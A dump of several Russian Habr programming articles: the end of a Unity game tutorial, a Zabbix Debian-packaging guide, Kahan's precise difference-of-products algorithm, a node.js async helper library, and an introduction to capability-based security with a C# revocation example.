С помощью полученной информации заставим камеру двигаться:
```
public class Playerscript : MonoBehaviour
{
public const float speed = 7;
public GameObject bulletPrefab;
public float force = 1500;
// Update is called once per frame
void Update ()
{
float translation = Input.GetAxis("Horizontal") * Time.deltaTime * speed;
transform.position += new Vector3(0, 0, translation);
}
}
```
Public переменная speed отвечает за максимальную скорость движения камеры. Значение, возвращаемое Input.GetAxis умножаем на Time.deltaTime для того, чтобы камера двигалась не быстрее speed метров в секунду, а не «метров за кадр». А bulletPrefab – префеб пули, которым будем стрелять. force – модуль силы, с которой будем эту самую пулю «кидать».
Прикрепим скрипт к камере, запустим сцену и попробуем нажимать стрелки вправо/влево. Всё отлично, пора и пострелять!
Добавим выстрел при нажатии на клавишу прыжка (пробел по умолчанию) в метод Update:
```
if (Input.GetButtonDown("Jump"))
{
GameObject bullet = GameObject.Instantiate(bulletPrefab, transform.position, transform.rotation) as GameObject;
bullet.rigidbody.AddForce(transform.forward * force);
}
```
Не забудем выбрать объект MainCamera и в панели Inspector в поле Bullet Prefab компонента Palyerscript (Script) перетащить префаб bullet из панели Project.
Можно запустить сцену – игра почти готова. Осталось сделать переход на другую сцену по окончании игры. Для этого нужно сначала создать новую сцену и **обязательно** включить её в список сцен для сборки.
Добавляем в проект новую сцену, сразу сохраним её под именем “win”. Выберем File -> Build Settings. Потом нужно нажать кнопку Add Current в появившемся окне (можно и перетащить сцену из панели Project в список Scenes In Build). Поменяем цвет фона у объекта Main Camera на какой-нибудь более оптимистичный:
Теперь нужно добавить текст (например, “You win!”). Нажимаем GameObject -> Create Other -> GUI Text. Появится новый объект с текстом по умолчанию “Gui Text”. Изменим поле Text компонента GUIText на нужный, также поменяем размер шрифта (поле Font Size). Но текст оказывается не по центру экрана:
На картинке выделена и причина такого поведения текста. Свойство Anchor показывает, где у текста «центр». Не физический центр, а тот центр, которым определяется положение текста. Сейчас выбрано значение “Upper left”, то есть текст «подвешен» за верхний левый угол. Как можно заметить, этот угол и в самом деле находится в центре экрана. Выберем значение «Middle center», и текст переместится в положенное место по середине экрана.
Почему именно середина экрана, и что делать, если нужно сместить текст? У GUIText есть ещё и группа полей Pixel Offset с полями X и Y. Задавая им нужные значения можно смещать текст на указанное количество пикселей относительно центра экрана (точнее, центра окна с игрой).
Добавим переход на эту сцену в нужный момент времени. Вернёмся на основную сцену и подправим метод Update в скрипте GameManager:
```
void Update ()
{
if (score == neededScore)
{
Application.LoadLevel("win");
}
}
```
Это загрузит недавно созданную сцену при достижении нужного счёта.
На этом основная часть заканчивается, получилось вполне играбельно. Стоило бы, конечно, добавить надпись с текущим результатом в основную сцену, но пусть это будет небольшим заданием :) Замечу, что досутп к тексте объекта, имеющего компонент GUIText осуществляется так:
```
guiText.text = "Hello world!";
```
#### Часть 3: Эстетическая.
И снова ощущение, что в сцене что-то не так! Что сделает порядочный кубик, если в него врежется порядочная пуля (хотя у нас это, скорее, ядро)? Правильно, отлетит! Но почему же не отлетает сейчас? Ответ вполне логичен.
Когда в методе OnCollisionEnter мы добавляем мишени компонент Rigidbody, ядро **уже столкнулось** с мишенью без Rigidbody. Но нет же метода, вызывающегося, когда «ещё чуть-чуть, и будет столкновение»! Поэтому проблема решается проще.
Что по сути должно происходить? Мишень висит в воздухе. Как такое возможно? Если она не имеет массы? Начнём с того, что так не бывает. А зачем нам отсутствие массы? Чтобы на тело не действовала сила притяжения к земле. Так может это выключается?
Прошлый абзац – от начала и до конца лирическое отступление, на деле обошлось без этих рассуждений. Я просто добавил префабу мишени компонент Rigidbody и случайно заметил там поле Use Gravity. Вот и нашёлся тот самый выключатель силы тяжести.
Кстати, если запустить игру сейчас (проделав только описанное абзацем выше), получится забавный эффект: мишени разлетаются, но не падают вниз под действием силы тяжести.
Пришла пора изменить скрипт Rigidbodytizer (теперь он уже, правда, не оправдывает своего названия).
```
void OnCollisionEnter()
{
if (!rigidbody.useGravity)
{
rigidbody.useGravity = true;
GameManager.score++;
}
}
```
Ну вот, другое дело. Теперь игра выгладит как-то так:
Второй момент, который хотелось бы затронуть: управление камерой. Движение камеры только вдоль одной прямой накладывает значительные ограничения на положение кубиков (чтобы их ещё и сбить можно было). По аналогии с движением вправо/влево добавьте движение вверх/вниз (придётся использовать
```
Input.GetAxis("Vertical")
```
). Тогда можно будет размещать кубики-мишени где угодно в пределах видимости, и в них можно будет попасть.
Напоследок отмечу, что если размещать мишени только над плоскостью, логично было бы ограничить движение вправо/влево границами плоскости, внеся небольшие изменения в Playerscript. Добавим парочку переменных и метод Start (пояснения в коде):
```
float zBoundMin, zBoundMax; // ограничения на перемещение вдоль оси Z
void Start()
{
// ограничивающий параллелепипед объекта с названием "Plane"
Bounds planeBounds = GameObject.Find("Plane").collider.bounds;
zBoundMin = planeBounds.min.z; // минимальное значение Z
zBoundMax = planeBounds.max.z; //максимальное значение Z
}
```
Конечно, можно перевычислять ограничения на координату Z каждый кадр, но это неэффективно, а в случае неподвижной плоскости ещё и бессмысленно.
Теперь изменим метод Update: после изменения вектора transform.position добавим ещё строчку:
```
transform.position = new Vector3(transform.position.x,transform.position.y, Mathf.Clamp(transform.position.z, zBoundMin, zBoundMax));
```
К сожалению, отдельно поменять координату Z вектора transform.position нельзя. Функция Mathf.Clamp(x, a, b) возвращает значение x, если зажать его между значениями a и b (то есть если, например, x меньше a, то функция вернёт значение a)
Если вы добавили перемещение вверх/вниз, убедитесь схожим образом, что камера не уходит ниже плоскости и не поднимается слишком высоко.
#### Часть 4: Заключительная.
Похожими рассуждениями «а что, если добавить сюда XYZ?» и с помощью идей тестировавших игру друзей я модифицировал игру до примерно вот такого состояния:
Если будет интерес, могу описать, ~~я докатился до жизни такой~~ как превратить набросок игры из этой статьи в набросок игры из видео.
На этом заканчиваются имеющиеся на данный момент задачи, сформулированные [здесь](http://www.unity3dstudent.com/category/challenges/), а с ними и этот цикл статей.
До новых встреч. | https://habr.com/ru/post/146301/ | null | ru | null |
# Debian-пакеты с человеческим лицом на примере Zabbix 1.8
Написать эту статью меня заставили две вещи: во-первых, есть ощущение, что после [статей](http://habrahabr.ru/blogs/linux/78049/) типа "[делаем debian-пакет на коленке](http://habrahabr.ru/blogs/ubuntu/72633/)", большинство хабравчан утвердятся во мнении, что debian-пакеты придумали извращенцы для извращенцев. Во-вторых, вышел zabbix 1.8 — замечательная система мониторинга, в которой, судя по новостям, наконец-то занялись проблемами юзабилити админского интерфейса.
Связывает два этих события то, что zabbix 1.8 пока нет в репозиториях убунты, а компилировать и ставить из исходников что-то на продакшн-серверах, это, конечно, недостойное джентльмена занятие. В общем, есть повод показать, как делаются debian-пакеты.
Итак, хе-хе, приступим :)
> `apt-get install dh-make devscripts cdbs libmysqlclient-dev libcurl4-gnutls-dev
>
> wget sunet.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/1.8/zabbix-1.8.tar.gz
>
> tar zxvf zabbix-1.8.tar.gz
>
> cd zabbix-1.8
>
> dh_make --createorig`
На вопрос dh\_make, какого типа пакет мы хотим создать, нужно ответить «b» (cdbs). В результате будет создан шаблонный пакет, с кучей файлов в директории debian на все случаи жизни (большую часть мы потом удалим).
Создание пакетов — это все-таки немножко шаманство и магия. Дело в том, что более простые, чем zabbix, программы, уже на этом этапе можно заканчивать пакетировать. Т.е. если для установки программы нужно сделать только ./configure && make install, то все готово, можно собирать и ставить. Zabbix — несколько более сложный вариант, поэтому впереди еще несколько шагов:
Начнем с того, что откроем файл debian/control и укажем себя в качестве создателя пакета, а заодно перечислим пакеты, которые должны приехать на сервер вместе с установкой zabbix. Для этого нужно найти строку 'Depends' и добавить в ее конец следующее: «fping, adduser, apache2, php5, php5-mysql, php5-gd».
Обычно скрипт configure можно вызывать без параметров и он сгенерирует жизнеспособный конфиг, но для zabbix это не так — ему нужно отдельными опциями включать компиляцию серверной части и агента. В нашем случае это настраивается в файле debian/rules, добавим в его конец следующее:
> `DEB_CONFIGURE_USER_FLAGS := --enable-server --with-mysql --with-libcurl`
Бинарные файлы попадут в каталоги /usr/bin и /usr/sbin сами собой, а php-интерфейс и конфиг-файлы нужно ставить вручную. Самый простой и наглядный способ это сделать — создать файл debian/install, и описать все в нем примерно так:
> `frontends/php/* usr/share/zabbix/
>
> misc/conf/zabbix_server.conf etc/zabbix`
Кроме того, для нормальной работы заббиксу нужны еще и директории для хранения лог-файлов и локов. Создать их тоже просто — достаточно их перечислить в файле debian/dirs:
> `/var/log/zabbix-server
>
> /var/run/zabbix-server`
Теперь дело за инит-скриптом. В исходниках zabbix инит-скрипт есть (misc/init.d/debian/zabbix-server), но без обработки напильником он работать не будет. Поэтому лучше его заменить скриптом из убунты ([вот отсюда](http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/karmic/zabbix/karmic/annotate/head%3A/debian/zabbix-server-mysql.zabbix-server.init)), который нужно сохранить под именем debian/init (на конечной системе он будет называться /etc/init.d/zabbix — магия).
Чтобы настроить logrotate, нужно просто положить конфиг в нужное место:
> `cat > debian/logrotate
>
> /var/log/zabbix-server/zabbix_server.log {
>
> daily
>
> rotate 7
>
> compress
>
> missingok
>
> notifempty
>
> create 0640 zabbix zabbix
>
> sharedscripts
>
> }
>
> ^D`
Очень удобно, когда пакет с веб-интерфейсом сам ставит себе конфиг для апача:
> `mkdir misc/apache2-vhosts
>
> cat > misc/apache2-vhosts/zabbix
>
>
>
> ServerName zabbix.example.com
>
> ServerAdmin admin@example.com
>
>
>
> DocumentRoot /usr/share/zabbix
>
>
>
> CustomLog /var/log/apache2/zabbix\_access.log combined
>
> ErrorLog /var/log/apache2/zabbix\_error\_log
>
>
>
> ^D
>
> echo "misc/apache2-vhosts/zabbix etc/apache2/sites-available" >> debian/install`
Еще не все. Кто-то должен создать пользователя zabbix, прописать инит-скрипт в автозагрузку и поправить права. Проще всего это сделать в postinstall-скрипте, для этого нужно взять его шаблон:
> `mv debian/postinst.ex debian/postinst
>
> vim debian/postinst`
И после строки 'configure)', но перед ';;' написать следующее:
> `# Создать пользователя
>
> useradd zabbix || echo "User zabbix was not added"
>
>
>
> # Установить права на рабочие директории
>
> chown zabbix:zabbix /var/log/zabbix-server /var/run/zabbix-server
>
>
>
> # В этой директории веб-интерфейс пытается сохранить свой конфиг-файл:
>
> chown www-data /usr/share/zabbix/conf
>
> chmod 775 /usr/share/zabbix/conf
>
>
>
> # Автозапуск сервера:
>
> update-rc.d zabbix-server defaults
>
>
>
> # Включить виртуалхост:
>
> a2ensite zabbix
>
> invoke-rc.d apache2 reload`
Осталась одна деталь: при стандартных настройках PHP интерфейс заббикса не заведется, нужно править max\_execution\_time и еще несколько параметров. Если бы мы готовили пакет для домашнего сервера-торрентокачалки, то, конечно, проще было бы поправить php.ini напрямую. Но идеологически более правильно поместить эти настройки тоже в пакет. Сделать это можно так:
> `mkdir misc/php.conf
>
> cat > misc/php.conf/zabbix.ini
>
> post_max_size = 16M
>
> max_execution_time = 300
>
> mbstring.func_overload = 2
>
> ^D
>
>
>
> echo "misc/php.conf/zabbix.ini etc/php5/conf.d" >> debian/install`
Теперь нужно поправить дефолтные конфиги, чтобы там были указаны нужные нам пути к логам и pid-файлам.
И, в общем-то, все. Можно собрать пакет с помощью команды debuild, поставить его с помощью dpkg -i и apt-get install -f.
Надеюсь, мне удалось продемонстрировать, что дебиан кроме всего прочего — удобная и продуманная среда для портирования приложений; создание нового пакета — вполне себе альтернатива установке программ, отсутствующих в репозитории, даже если речь идет про одну инсталляцию.
Если тема интересна, могу продолжить. На этот раз очень многое осталось за кадром — что такое dehelper-скрипты, и CDBS, как отладить зависимости пакета и почему pbuilder — один из моих любимых инструментов.
P.S. Если у вас есть свой open-source проект, то я могу помочь его пакетированием, обращайтесь.
P.P.S: ~~Перенесите этот пост в какой-нибудь тематический блог, пожалуйста.~~ Спасибо за карму! Перенес сам :)
**UPD:**: Несколько обновленный вариант статьи в моем блоге: [alexey.sveshnikov.ru/blog/2010/03/29/zabbix-debianization](http://alexey.sveshnikov.ru/blog/2010/03/29/zabbix-debianization/). | https://habr.com/ru/post/78086/ | null | ru | null |
# Алгоритм Кэхэна: как получить точную разность произведений
Недавно я вернулся к анализу погрешностей чисел с плавающей запятой, чтобы усовершенствовать некоторые детали в следующей редакции книги *Physically Based Rendering*. Числа с плавающей запятой — интересная область вычислений, полная сюрпризов (хороших и плохих), а также хитрых трюков, позволяющих избавиться от неприятных неожиданностей.
В процессе работы я наткнулся на этот [пост на StackOverflow](https://stackoverflow.com/a/50065711), из которого узнал об изящном алгоритме точного вычисления .
Но прежде чем приступать к алгоритму, нужно понять, что же такого хитрого в выражении ? Возьмём , ,  и . (Это реальные значения, которые получились у меня во время запуска *[pbrt](https://github.com/mmp/pbrt-v3)*.) При 32-битных значениях float получаем:  и . Выполняем вычитание, и получаем . Но если выполнить вычисления с двойной точностью, а в конце преобразовать их во float, то получится . Что произошло?
Проблема в том, что значение каждого произведения может сильно выйти за нижнюю границу , где расстояние между представимыми значениями с плавающей запятой очень велико — 64. То есть при округлении  и  по отдельности до ближайшего представимого float, они превращаются в числа, кратные 64. В свою очередь, их разность будет кратной 64, и не останется никакой надежды, что она станет к  ближе, чем . В нашем случае результат оказался ещё дальше из-за того, как два произведения были округлены в . Мы напрямую столкнёмся со старым добрым катастрофическим сокращением1.
Вот решение получше2:
```
inline float DifferenceOfProducts(float a, float b, float c, float d) {
float cd = c * d;
float err = std::fma(-c, d, cd);
float dop = std::fma(a, b, -cd);
return dop + err;
}
```
`DifferenceOfProducts()` вычисляет  таким образом, что избегает катастрофического сокращения. Впервые эта методика была описана легендарным Уильямом Кэхэном в статье [On the Cost of Floating-PointComputation Without Extra-Precise Arithmetic](https://people.eecs.berkeley.edu/~wkahan/Qdrtcs.pdf). Стоит заметить, что работы Кэхэна интересно читать в целом, в них есть множество комментариев о текущем состоянии мира плавающих запятых, а также математических и технических рассуждений. Вот один из его выводов:
> Те из нас, кто сражался с превратностями арифметики с плавающей запятой и плохо продуманными «оптимизациями» компиляторов, могут справедливо испытывать гордость за победу в этой битве. Но если мы передадим продолжение этой битвы последующим поколениям, это будет противоречить всей сути цивилизации. Наш опыт говорит, что языки программирования и системы разработки являются источниками слишком большого количества хаоса, с которым нам приходится бороться. Слишком от многих ошибок вполне можно обойтись, как и от некоторых привлекательных «оптимизаций», безопасных для целых чисел, но иногда оказывающихся фатальными для чисел с плавающей запятой.
Отдав должное его остроумию, вернёмся к `DifferenceOfProducts()`: в основе искусности этой функции лежит использование инструкций совмещённого умножения-сложения (fused multiply-add, FMA)3. С математической точки зрения `FMA(a,b,c)` является , поэтому поначалу кажется, что эта операция полезна только в качестве микрооптимизаци: одна инструкция вместо двух. Однако FMA
обладает особым свойством — она округляет только один раз.
В обычном  сначала вычисляется , а потом это значение, которое в общем случае нельзя представить в формате с плавающей запятой, округляется до ближайшего float. Затем к этому округлённому значению прибавляется , и этот результат снова округляется до ближайшего float. FMA реализована таким образом, что округление выполняется только в конце — промежуточное значение  сохраняет достаточную точность, поэтому после прибавления к нему  готовый результат будет являться ближайшей к истинному значению  величиной float.
Разобравшись с FMA, вернёмся к `DifferenceOfProducts()`. Снова покажу первые две её строки:
```
float cd = c * d;
float err = std::fma(-c, d, cd);
```
Первая вычисляет округлённое значение , а вторая… вычитает  из их произведения? Если не знать, как работают FMA, то можно подумать, что `err` всегда будет равна нулю. Но при работе с FMA вторая строка на самом деле извлекает величину погрешности округления в вычисленном значении  и сохраняет её в `err`. После этого на выходе всё получается очень просто:
```
float dop = std::fma(a, b, -cd);
return dop + err;
```
Вторая FMA вычисляет разность произведений при помощи FMA, выполняя округление только в самом конце. Следовательно, она устойчива к катастрофическому сокращению, но ей нужно работать с округлённым значением . Оператор `return` «патчит» эту проблему, прибавляя погрешность, выделенную во второй строке. В статье Jeannenrod et al. [показано](https://hal.archives-ouvertes.fr/ensl-00649347/), что результат верен до 1,5 ulps (мер единичной точности), что великолепно: FMA и простые операции с плавающей запятой точны до 0,5 ulps, поэтому алгоритм практически идеален.
Используем новый молоток
------------------------
Когда начинаешь искать способы применения `DifferenceOfProducts()`, она оказывается на удивление полезной. Вычисляете дискриминанта квадратного уравнения? Вызывайте `DifferenceOfProducts(b, b, 4 * a, c)`4. Вычисляете определитель матрицы 2x2? Алгоритм решит эту задачу. В реализации следующей версии *pbrt* я нашёл ему около 80 применений. Из всех них самой любимой является функция векторного произведения. Она всегда была источником проблем, из-за которого приходилось поднимать руки вверх и использовать в реализации числа double, чтобы избежать катастрофического сокращения:
```
inline Vector3f Cross(const Vector3f &v1, const Vector3f &v2) {
double v1x = v1.x, v1y = v1.y, v1z = v1.z;
double v2x = v2.x, v2y = v2.y, v2z = v2.z;
return Vector3f(v1y * v2z - v1z * v2y,
v1z * v2x - v1x * v2z,
v1x * v2y - v1y * v2x);
}
```
А теперь мы можем продолжать работать с float и использовать `DifferenceOfProducts()`.
```
inline Vector3f Cross(const Vector3f &v1, const Vector3f &v2) {
return Vector3f(DifferenceOfProducts(v1.y, v2.z, v1.z, v2.y),
DifferenceOfProducts(v1.z, v2.x, v1.x, v2.z),
DifferenceOfProducts(v1.x, v2.y, v1.y, v2.x));
}
```
Тот хитрый пример из начала поста на самом деле является частью векторного произведения. На определённом этапе коду *pbrt* требуется вычислить векторное произведение векторов  и . При вычислении с помощью float получался бы вектор . (Общее правило: если при вычислениях с плавающей запятой, где задействованы большие числа, вы получаете не такие большие целочисленные значения, то это почти верный признак того, что произошло катастрофическое сокращение.)
При двойной точности векторное произведение равно . Мы видим, что при float  выглядит нормально,  уже довольно плох, а  становится той катастрофой, которая стала мотивацией к поиску решения. А какие результаты мы получим с `DifferenceOfProducts()` и значениями float? . Значения  и  соответствуют двойной точности, а  слегка смещён — отсюда и взялась лишняя ulp.
А что со скоростью? `DifferenceOfProducts()` выполняет две FMA, а также умножение и сложение. Наивный алгоритм можно реализовать с одной FMA и одним умножением, что, казалось бы, должно занять в два раза меньше времени. Но на практике оказывается, что после получения значений из регистров это неважно: в синтетическом бенчмарке, проведённом на моём ноутбуке, `DifferenceOfProducts()` всего в 1,09 раза затратнее наивного алгоритма. Работа с двойной точностью была медленнее в 2,98 раза.
Как только вы узнаёте о возможности катастрофического сокращения, всевозможные невинно выглядящие выражения в коде начинаю казаться подозрительными. Похоже, что `DifferenceOfProducts()` является хорошим лекарством против большей их части. Она проста в использовании, и у нас нет особых причин не применять её.
Примечания
----------
1. Катастрофическое сокращение не представляет проблемы при вычитании величин с разными знаками или при сложении величин с одинаковым знаком. Однако оно может стать проблемой при сложении значений с разными знаками. То есть суммы следует рассматривать с тем же подозрением, что и разности.
2. В качестве упражнения для читателя я советую написать функцию `SumOfProducts()`, обеспечивающую защиту от катастрофического сокращения. Если вы хотите усложнить задачу, то объясните, почему в `DifferenceOfProducts()`, `dop + err == dop`, ведь знаки `a*b` и `c*d` различаются.
3. Инструкция FMA доступна в GPU уже больше десятка лет, а в большинстве ЦП — не менее пяти лет. На ЦП может потребоваться добавить флаги компилятора для их непосредственной генерации при использовании `std::fma()`; в gcc и clang работает `-march=native`.
4. В формате чисел с плавающей запятой IEEE умножение на степени двойки выполняется точно, поэтому `4 * a` не вызывает никакой ошибки округления, если только не происходит переполнения. | https://habr.com/ru/post/475370/ | null | ru | null |
# Асинхронное программирование: Примитивы высокого уровня
После появления асинхронного каркаса Twisted концепция отложенного результата (continuable) стала очень популярной.
Прежде всего рекомендую прочитать статьи: [Асинхронное программирование: концепция Deferred](http://habrahabr.ru/blogs/twisted/51762/), [Deffered для JavaScript](http://habrahabr.ru/blogs/webdev/60956/).
Но пользоваться отложенными результатами не очень удобно без абстракций более высокого уровня. И теперь у нас есть каркас [**Do**](http://github.com/creationix/do).
Теперь мы можем выполнять такие действия:
#### Выполнить несколько действий параллельно
> `// Multiple arguments
>
> Do.parallel(
>
> Do.read("/etc/passwd"),
>
> Do.read(\_\_filename)
>
> )(function (passwd, self) {
>
> // Do something
>
> }, error\_handler);
>
>
>
> // Single argument
>
> var actions = [
>
> Do.read("/etc/passwd"),
>
> Do.read("\_\_filename")
>
> ];
>
> Do.parallel(actions)(function (results) {
>
> // Do something
>
> }, error\_handler);`
>
>
#### Выполнить несколько действий последовательно
> `// Multiple arguments
>
> Do.chain(
>
> Do.read(\_\_filename),
>
> function (text) {
>
> return Do.save("newfile", text);
>
> },
>
> function () {
>
> return Do.stat("newfile");
>
> }
>
> )(function (stat) {
>
> // Do something
>
> }, error\_handler);
>
>
>
> // Single argument
>
> var actions = [
>
> Do.read(\_\_filename),
>
> function (text) {
>
> return Do.save("newfile", text);
>
> },
>
> function () {
>
> return Do.stat("newfile");
>
> }
>
> ];
>
> Do.chain(actions)(function (stat) {
>
> // Do something
>
> }, error\_handler);`
>
>
#### Отобразить исходный массив на результирующий асинхронно
> `var files = ['users.json', 'pages.json', 'products.json'];
>
> function load\_file(filename, callback, errback) {
>
> fs.read(filename)(function (data) {
>
> callback([filename, data]);
>
> }, errback);
>
> }
>
> Do.map(files, load\_file)(function (contents) {
>
> // Do something
>
> }, error\_handler);`
>
>
#### Отфильтровать массив асинхронно
> `var files = ['users.json', 'pages.json', 'products.json'];
>
> function is\_file(filename, callback, errback) {
>
> fs.stat(filename)(function (stat) {
>
> callback(stat.isFile());
>
> }, errback);
>
> }
>
> Do.filter(files, is\_file)(function (filtered\_files) {
>
> // Do something
>
> }, error\_handler);`
>
>
Кроме того, предоставляются врапперы для [node.js](http://nodejs.org/). [Проект на github](http://github.com/creationix/do). | https://habr.com/ru/post/84709/ | null | ru | null |
# Введение в безопасность на основе мандатных ссылок (англ. Capability-based security)
В большинстве сегодняшних операционных систем модель безопасности своими корнями уходит в Unix, наследуя предположение о том, что пользователь может доверять программам, которые он запускает. Однако, как показывает практика – это утверждение в корне неверно.
Marc Stiegler [сравнивает](http://www.skyhunter.com/marcs/capabilityIntro/authenticode.html) это с ситуацией, когда вы нанимая уборщика даете ему Главный И Единственный Ключ, которые не только открывает комнату, в которой необходимо сделать уборку, а открывает все двери, в т.ч. и дверь сейфа с золотом. Т.е. у вас всего две альтернативы – либо не давать уборщику этот ключ – и тогда он не сможет выполнить свою работу, либо дать и надеяться на его порядочность.
Модель безопасности на основе мандатных ссылок (англ. capability-based security) предлагает решение этой проблемы.
Модель руководствуется [принципом минимальных привилегий](http://en.wikipedia.org/wiki/Principle_of_least_privilege). Например, открывая файл в текстовом редакторе, вы даете программе-редактору доступ только к одному конкретному файлу. Вы по прежнему не можете быть уверенны в том, что программа будет редактировать файл так, как вы этого ожидаете, а не зашифрует и потребует денег за расшифровку – но ставки теперь ощутимо ниже.
По-умолчанию, любая программа (а в идеале – любой кусок кода) выполняется в идеальной песочнице – у нее нет доступа ни к файловой системе, ни к сети, ни к другим программам. В некоторых реализациях даже нет права выделять память и потреблять ресурсы процессора!
Выйти за пределы песочницы программа может с помощью мандатной ссылки (англ. capability, не путать с POSIX Capabilities) на внешние ресурсы.
На сегодняшний день русскоязычной литературы по этой теме попросту нет – настолько нет, что для написания этой статьи перевод для термина “capability” мне пришлось изобретать самому. Итак, знакомитесь:
Мандатная ссылка – это особая форма ссылки, которая во-первых идентифицирует объект (и поэтому «ссылка»), а во-вторых определяет допустимые над ним операции (и поэтому «мандатная»). Могут сосуществовать мандатные ссылки, которые ссылаются на один и тот же объект, но задают разные наборы допустимых операций.
Тот, кто владеет мандатной ссылкой, всегда может выполнять любые операции над объектом, которые разрешены этой ссылкой – дополнительных проверок при выполнении операций не делается. Все проверки делаются перед тем, как субъект получит мандатную ссылку – если он ее получил, то это служит доказательством того, что все проверки субъектом пройдены.
Для сравнения, путь к файлу в виде строки идентифицирует объект, но не определяет допустимые над ним операции – поэтому каждый раз когда выполняется операция над файлом заданным путем, ОС должна выполнить проверку прав доступа.
С другой стороны, дескриптор открытого файла может считаться мандатной ссылкой. Проверка прав доступа делается перед тем, как дескриптор будет создан, и режим, в котором был открыт файл, сохраняется в структурах данных связанных с дескриптором.
В литературе по безопасности на основе мандатных ссылок можно встретить термины «ресурс» и «субъект» ([PDF](http://srl.cs.jhu.edu/pubs/SRL2003-02.pdf)). «Ресурс» — это роль, которую играет объект, на который указывает мандатная ссылка. «Субъект» — это тот, кто имеет мандатную ссылку и может выполнять операции над ресурсом. Между субъектом и ресурсом существует связь многие-ко-многим: каждый субъект может иметь произвольное число мандатных ссылок на разные ресурсы, на один ресурс может ссылаться произвольное число субъектов.
В [некоторых реализациях](http://www.cs.cornell.edu/slk/jkernel.html) «субъект» и «ресурс» это роли, которые одни и те же объекты могут играть в зависимости от контекста. В [других](http://citforum.ru/operating_systems/sos/glava_23.shtml) — это разнородные объекты, но разновидностью ресурса является канал общения с другим субъектом. Так или иначе, объекты могут общаться между собой с помощью мандатных ссылок – объект владеющий ссылкой может послать ссылаемому объекту сообщение, как в ООП. В дальнейшем для удобства изложения будем считать что объекты однородны – т.е. «субъект» и «ресурс» это не более чем ситуативные роли.
Модель предполагает что внутреннее состояние объектов инкапсулировано и не может быть изменено иначе как через посылку сообщения.
Движение мандатных ссылок
-------------------------
Объект может получить мандатную ссылку ограниченным числом способов:
1. **Как часть начальных условий** – при инициализации системы (например, установке ОС) создается некоторый начальный граф объектов, который в дальнейшем развивается по описанным здесь правилам, однако начальный граф может создаваться «читерскими» методами.
2. **При создании нового объекта** – операция создания нового объекта возвращает мандатную ссылку с максимальным объемом доступных полномочий.
3. **В приданное** – создавая дочерний объект, родитель может передать ему часть доступных ему полномочий (передать в аргументах конструктора в терминологии ООП)
4. **Через общих знакомых** – если у Алисы нет ссылки на Боба, то Керол может (если захочет!) дать ей эту ссылку. Для этого, в терминологии ООП, Керол посылает Алисе сообщение, передав ссылку на Боба как параметр.
Это может произойти только если у Керол есть мандатные ссылки и на Алису и на Боба. Ссылка на Алису должна позволять передачу этого сообщения. Керол не может передать полномочия для доступа к Бобу в большем объеме чем у нее есть (может в меньшем, но об этом далее).
Эти правила позволяют представить рассматриваемую систему как граф объектов и формально анализировать существующие каналы связи, а также места и условия для появления новых связей.
С точки зрения модели, совокупность глобальных переменных (в любом виде, включая традиционную файловую систему) является единым объектом, который доступен всем. Существование такого объекта не противоречит модели, но является дырой в безопасности системы. Груз синглтонов и глобального доступа к файловой системе в стандатной библиотеке Java стал серьезной проблемой перед создателями системы [J-Kernel](http://www.cs.cornell.edu/slk/jkernel.html). Те же проблемы присутствуют и в платформе .NET.
Как можно заметить, приведенные выше правила описывают как права доступа могут распространяться по системе, но не описывают как можно урезать ранее выданные права. И действительно, модель безопасности на основе мандатных ссылок исходит из предположения, что однажды выданные права, отобрать уже нельзя. Это свойство является причиной для критики модели, однако на самом деле не составляет проблемы ([PDF](http://srl.cs.jhu.edu/pubs/SRL2003-02.pdf)).
Вместо того чтобы давать право «читать файл», программе дается право «читать файл, пока доступ не будет отозван». Реализуется это с помощью прокси-объектов. Нижеприведенный код иллюстрирует этот механизм в очень упрощенном виде:
```
using System;
using System.Collections.Generic;
namespace CapRevokeDemo
{
// Интерфейс ресурса, доступ к которому мы контролируем
interface IFile
{
char read(int index);
int length { get; }
}
// Интерфейс субъекта, который пользуется ресурсом
interface IApplication
{
void openFile(IFile reader);
}
class FileAlreadyExistsException : Exception
{
}
class FileNotFoundException : Exception
{
}
class AccessRevokedException : Exception
{
}
// Компонент, которому пользователь доверяет управление своими ресурсами
class FileManager
{
public FileManager()
{
files_ = new Dictionary();
openedFiles\_ = new Dictionary>();
}
public void addFile(string fileName, IFile reader)
{
if (files\_.ContainsKey(fileName))
{
throw new FileAlreadyExistsException();
}
files\_.Add(fileName, reader);
}
public void openFileInApplication(string fileName, IApplication app)
{
IFile reader;
if(!files\_.TryGetValue(fileName, out reader))
{
throw new FileNotFoundException();
}
FileProxy proxy = new FileProxy(reader);
List proxies;
if(!openedFiles\_.TryGetValue(fileName, out proxies))
{
proxies = new List();
openedFiles\_.Add(fileName, proxies);
}
proxies.Add(proxy);
app.openFile(proxy);
}
public void revokeAccessToFile(string fileName)
{
List proxies;
if(openedFiles\_.TryGetValue(fileName, out proxies))
{
foreach(FileProxy proxy in proxies)
{
proxy.revokeAccess();
}
openedFiles\_.Remove(fileName);
}
}
// Прокси-объект, с помощью которого реализуется отзыв доступа.
private class FileProxy : IFile
{
public FileProxy(IFile file)
{
file\_ = file;
}
public char read(int index)
{
if(file\_ == null)
{
throw new AccessRevokedException();
}
return file\_.read(index);
}
public int length
{
get
{
if(file\_ == null)
{
throw new AccessRevokedException();
}
return file\_.length;
}
}
public void revokeAccess()
{
file\_ = null;
}
private IFile file\_;
}
private Dictionary files\_;
private Dictionary > openedFiles\_;
}
// Тестовая программа
class Program
{
class DemoFile : IFile
{
public DemoFile(string data)
{
data\_ = data;
}
public char read(int index)
{
return data\_[index];
}
public int length
{
get
{
return data\_.Length;
}
}
private string data\_;
}
class DemoApp : IApplication
{
public void openFile(IFile file)
{
file\_ = file;
index\_ = 0;
}
public void closeFile()
{
file\_ = null;
index\_ = 0;
}
public void read()
{
char c = file\_.read(index\_++);
System.Console.WriteLine("c = {0}", c);
}
private IFile file\_ = null;
private int index\_ = 0;
}
public static void Main(string[] args)
{
try
{
FileManager manager = new FileManager();
manager.addFile("file", new DemoFile("SECRET"));
DemoApp app = new DemoApp();
manager.openFileInApplication("file", app);
app.read();
app.read();
app.read();
manager.revokeAccessToFile("file");
app.read();
}
catch(Exception e)
{
System.Console.WriteLine("Exception: {0}", e.Message);
}
}
}
}
```
Хочу обратить внимание, что из этого подхода следует, что о возможности отозвать доступ необходимо позаботиться **заранее**. Если для этого не было предпринято никаких мер, то сделать это постфактум невозможно!
